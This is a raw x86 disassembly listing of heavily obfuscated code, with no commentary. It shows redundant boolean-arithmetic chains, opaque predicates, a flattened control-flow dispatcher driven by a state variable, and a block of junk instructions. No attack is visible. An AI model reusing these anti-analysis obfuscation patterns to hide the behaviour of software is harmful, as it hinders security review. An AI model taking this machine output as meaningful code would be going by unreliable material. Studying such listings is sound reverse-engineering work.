xor cl, 1
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, bh
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov ah, dh
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, ah
mov ah, byte [ebp - 0xe7d]
or cl, dh
xor al, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
xor bh, 0xff
mov dh, 1
xor dh, 0
or cl, bh
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0xe72], al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov ch, 1
xor ch, 0
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xe85], al
mov bl, ch
xor bl, 0xff
mov dh, 1
xor dh, 0
and al, 0
and cl, dh
mov bh, bl
and bh, 0
and ch, dh
or al, cl
mov cl, byte [ebp - 0xe85]
or bh, ch
mov ch, byte [ebp - 0xe72]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov byte [ebp - 0xe6c], al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
mov bh, ch
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0xe6c]
or cl, bh
or dh, bl
xor cl, dh
xor ch, 0xff
mov bh, cl
xor bh, ch
and bh, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xe82], cl
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov bl, dl
and bl, 0
mov byte [ebp - 0xe84], bl
mov bl, ch
and bl, 0
and al, dl
mov byte [ebp - 0xe83], al
mov al, byte [ebp - 0xe84]
or cl, al
mov al, byte [ebp - 0xe83]
or bl, al
mov al, byte [ebp - 0xe82]
xor cl, bl
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dh, 1
xor dh, 1
mov byte [ebp - 0xe7e], dh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xe7f], al
mov dl, 1
xor dl, 0
and dh, 0
mov al, dl
and al, 1
mov byte [ebp - 0xe81], al
mov al, byte [ebp - 0xe7f]
and al, 0
mov byte [ebp - 0xe80], al
mov al, byte [ebp - 0xe81]
and cl, dl
or dh, al
mov al, byte [ebp - 0xe80]
or al, cl
mov cl, byte [ebp - 0xe7f]
xor dh, al
mov al, byte [ebp - 0xe7e]
or al, cl
mov cl, byte [ebp - 0xe7d]
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and bl, al
mov byte [ebp - 0xe7c], bl
mov bl, 1
xor bl, 1
and bl, 0xff
and al, 1
mov byte [ebp - 0xe7b], al
mov al, byte [ebp - 0xe7c]
or dl, al
mov al, byte [ebp - 0xe7b]
or bl, al
mov al, byte [ebp - 0xe6c]
xor dl, bl
xor dh, 0xff
mov bl, dl
xor bl, dh
and bl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and al, dh
mov byte [ebp - 0xe7a], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xe79], al
mov al, byte [ebp - 0xe7a]
and dh, 1
or dl, al
mov al, byte [ebp - 0xe79]
or al, dh
xor dl, al
mov al, cl
xor al, 0xff
mov dh, dl
and dh, al
xor dl, 0xff
mov al, cl
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xe78], al
mov cl, bh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and bh, al
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, al
mov al, byte [ebp - 0xe78]
or cl, bh
or dl, ch
xor cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, dh
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov dl, bl
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, bh
or dl, bl
or cl, dh
xor dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov bh, ch
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, dh
or al, dl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, dl
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov byte [ebp - 0xe77], al
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov al, cl
and al, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, al
mov al, byte [ebp - 0xe77]
or dh, bl
xor ch, dh
xor ch, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0xe74], ch
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
and bh, dl
mov byte [ebp - 0xe76], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0xe75], al
mov al, byte [ebp - 0xe76]
or ch, al
mov al, byte [ebp - 0xe75]
or bh, al
mov al, byte [ebp - 0xe74]
xor ch, bh
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xe73], dl
mov bl, dh
xor bl, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov bh, bl
and bh, 0xff
and dh, cl
or dl, al
mov al, byte [ebp - 0xe73]
or bh, dh
mov dh, byte [ebp - 0xe72]
xor dl, bh
or al, bl
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and ch, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0xe66], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov byte [ebp - 0xe6e], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dl, al
mov byte [ebp - 0xe6f], dl
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov byte [ebp - 0xe6d], ch
mov bl, 1
xor bl, 1
mov al, cl
xor al, bl
and al, cl
mov bl, ch
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
xor dl, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, ch
and ah, 0
and al, bl
mov byte [ebp - 0xe71], al
mov al, bh
and al, 0
mov byte [ebp - 0xe70], al
mov al, byte [ebp - 0xe71]
and cl, bl
or ah, al
mov al, byte [ebp - 0xe70]
or al, cl
mov cl, byte [ebp - 0xe6f]
xor ah, al
mov al, byte [ebp - 0xe6e]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
and al, dh
mov bh, bl
and bh, 0
and cl, dh
or ch, al
mov al, byte [ebp - 0xe6d]
or bh, cl
mov cl, byte [ebp - 0xe6c]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
or ah, ch
mov ch, al
and ch, 1
xor al, 1
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or bh, dl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, al
and ah, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0xe6a], al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
mov cl, 1
xor cl, 1
mov ch, bh
xor ch, cl
and ch, bh
mov dh, dl
xor dh, 0xff
xor dh, 0
and dh, 0
xor al, 0xff
mov cl, 1
xor cl, 1
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0xe6c]
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0xe6b], al
xor cl, 0xff
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 0
or cl, al
mov al, byte [ebp - 0xe6b]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, ch
and bl, dh
xor ch, dh
or bl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, al
mov al, byte [ebp - 0xe6a]
or cl, bl
or ch, dh
xor cl, ch
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0xe67], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and bh, dh
mov byte [ebp - 0xe69], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xe68], al
mov al, byte [ebp - 0xe69]
or ch, al
mov al, byte [ebp - 0xe68]
or bh, al
mov al, byte [ebp - 0xe67]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov cl, al
and cl, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, bl
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0xe66]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bl, cl
mov byte [ebp - 0xe5f], bl
mov bh, dl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or bh, cl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov byte [ebp - 0xe60], ah
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or bl, ch
or cl, 0
xor bl, 0xff
and bl, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
xor cl, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov byte [ebp - 0xe63], cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
and bl, ch
mov byte [ebp - 0xe65], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xe64], al
mov al, byte [ebp - 0xe65]
or ah, al
mov al, byte [ebp - 0xe64]
or bl, al
mov al, byte [ebp - 0xe63]
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
and al, dh
mov byte [ebp - 0xe62], al
mov al, bl
and al, 0
mov byte [ebp - 0xe61], al
mov al, byte [ebp - 0xe62]
and cl, dh
or ch, al
mov al, byte [ebp - 0xe61]
or al, cl
mov cl, byte [ebp - 0xe60]
xor ch, al
mov al, byte [ebp - 0xe5f]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0xe5e], dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0xe5e]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabaddfba
mov ecx, 0xff8caad1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0xe0e225e5
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x3a116c87
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x5c336d6e
jmp 0x4b1f8e
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1c0], 0xa21c95ae
jmp 0x4b1f8e
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x12c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x1c0], 0xb4649cc1
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor edx, edx
sub edx, 0x40102ad8
add edx, 0
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x40102ad8
sub edx, esi
xor esi, esi
sub esi, eax
add esi, 0
mov edi, 0x306d84db
add edi, 0
sub edi, edx
sub edi, 0x306d84db
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov ah, al
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or ch, ah
or cl, dl
xor ch, cl
xor ch, 0xff
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
or ch, dl
or cl, 1
xor ch, 0xff
and ch, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov cl, 1
xor cl, 0
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
or bl, dl
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0xfc3], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov al, dh
and al, bh
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0xfc3]
or ah, bh
xor dl, ah
xor dl, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 1
or dl, bh
or ah, 1
xor dl, 0xff
and dl, ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xfc1], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0xfc2], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xfc0], al
mov al, byte [ebp - 0xfc2]
or al, cl
mov cl, byte [ebp - 0xfc1]
mov byte [ebp - 0xfbf], al
mov al, byte [ebp - 0xfc0]
or bh, al
mov al, byte [ebp - 0xfbf]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14fc2692
mov ecx, 0xa87c13ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
rcr esi, 0x9a
sub edi, 0xef
and eax, 0x3e
dec ebx
ror edi, 0x91
and esi, 0xed
add ebx, 0xe5
and esi, 0xea
rcr ebx, 9
bswap edi
sbb ebx, 5
not edi
sub esi, 0x92
imul eax
imul ebx
add edx, 3
bswap edx
dec ebx
imul eax
sub ebx, 0x52
add ebx, 0x93
neg edx
rcr edi, 0x55
or esi, 0x6f
rcr eax, 0x93
mov eax, 0xce
imul esi
neg ebx
or edi, 0x36
add edx, 0xda
imul edx
mov edi, 0x32
bswap edx
not esi
dec edx
dec edx
ror ebx, 0x3e
sbb ebx, 0x88
neg edx
rcr ebx, 0x68
inc ebx
rol edx, 0x52
add edx, 0x5c
or edi, 0xb3
not eax
inc eax
imul eax
not ebx
bswap eax
rcr eax, 0xf6
and edi, 0x74
neg ebx
bswap edi
dec eax
not esi
ror edi, 0x9e
neg eax
not edi
dec eax
dec eax
dec ebx
dec edi
rol ebx, 0x17
dec edi
or edi, 0xb8
imul ebx
not ebx
bswap edx
rol edi, 0xf5
bswap esi
sbb ebx, 0xdd
rcr esi, 0xdf
and esi, 7
neg eax
sbb eax, 0x7e
rol edi, 0x7a
mov ebx, 0xcb
ror edx, 0x2f
and edi, 0x32
and ebx, 0x2c
ror edx, 0xd5
imul esi
imul edi
ror ebx, 0xdb
rcl edx, 0xc8
sbb edx, 0x59
sbb eax, 0xe0
dec esi
mov ebx, 0x23
rcr edx, 0x41
bswap esi
neg ebx
bswap eax
mov ebx, 0x6c
imul ebx
rcl edx, 7
neg edx
add eax, 0xed
rcr edx, 0x4a
bswap edi
rcr edi, 0xe9
mov esi, 0x26
inc edi
ror eax, 0x4a
inc esi
bswap ebx
sub edx, 0xbe
not edi
sub ebx, 0x13
not ebx
dec edx
dec ebx
rcr ebx, 0x22
ror edx, 0x55
imul edx
rcl edx, 0xb3
rcl edx, 0x15
sbb edx, 0xb0
rcr edx, 0x30
neg eax
add eax, 0x21
dec eax
imul ebx
inc eax
rol ebx, 0x45
and ebx, 0x8e
bswap esi
rcr eax, 0xc1
ror edx, 0xd7
rol esi, 0xcd
sub esi, 0xb5
neg edx
inc esi
dec eax
inc esi
rcr esi, 0xc3
sub edx, 0xa7
mov edi, 0x87
imul eax
rcl ebx, 0xd3
inc esi
ror esi, 0xba
rcl edi, 0x10
sbb edx, 0x77
rol eax, 0x6f
sbb edx, 0xe9
neg edi
and esi, 0x4f
ror eax, 0x2e
inc edi
mov ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
mov edi, 0x7e2afbd5
add edi, 0
add edi, 0x29b1a3a4
sub edi, 0x7e2afbd5
add edi, 0x1bf25b15
sub edi, 1
sub edi, 0x1bf25b15
sub edi, 0x91bd7298
sub edi, 0x29b1a3a4
add edi, 0x91bd7298
xor esi, esi
sub esi, 0xd89b4e66
sub esi, eax
add esi, 0xd89b4e66
mov edx, 0x3ffa872f
add edx, 0
sub edx, edi
sub edx, 0x3ffa872f
sub esi, 0x17fd5d20
add esi, edx
add esi, 0x17fd5d20
mov edx, 0xaa25d28b
add edx, 0
sub edx, esi
sub edx, 0xaa25d28b
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0xff9], ah
cmp ecx, 0xa
setl dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 0
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov ch, bl
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bh
or ah, dh
xor ch, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
mov ch, 1
xor ch, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1008], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0x1009], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1007], al
mov al, byte [ebp - 0x1009]
or al, cl
mov cl, byte [ebp - 0x1008]
mov byte [ebp - 0x1006], al
mov al, byte [ebp - 0x1007]
or bh, al
mov al, byte [ebp - 0x1006]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov bh, cl
and bh, ah
xor cl, 0xff
and al, cl
or bh, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
mov ch, ah
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
xor ch, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x1002], ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov byte [ebp - 0x1003], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
and al, dh
mov byte [ebp - 0x1005], al
mov al, bl
and al, 0
mov byte [ebp - 0x1004], al
mov al, byte [ebp - 0x1005]
and cl, dh
or ch, al
mov al, byte [ebp - 0x1004]
or al, cl
mov cl, byte [ebp - 0x1003]
xor ch, al
mov al, byte [ebp - 0x1002]
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
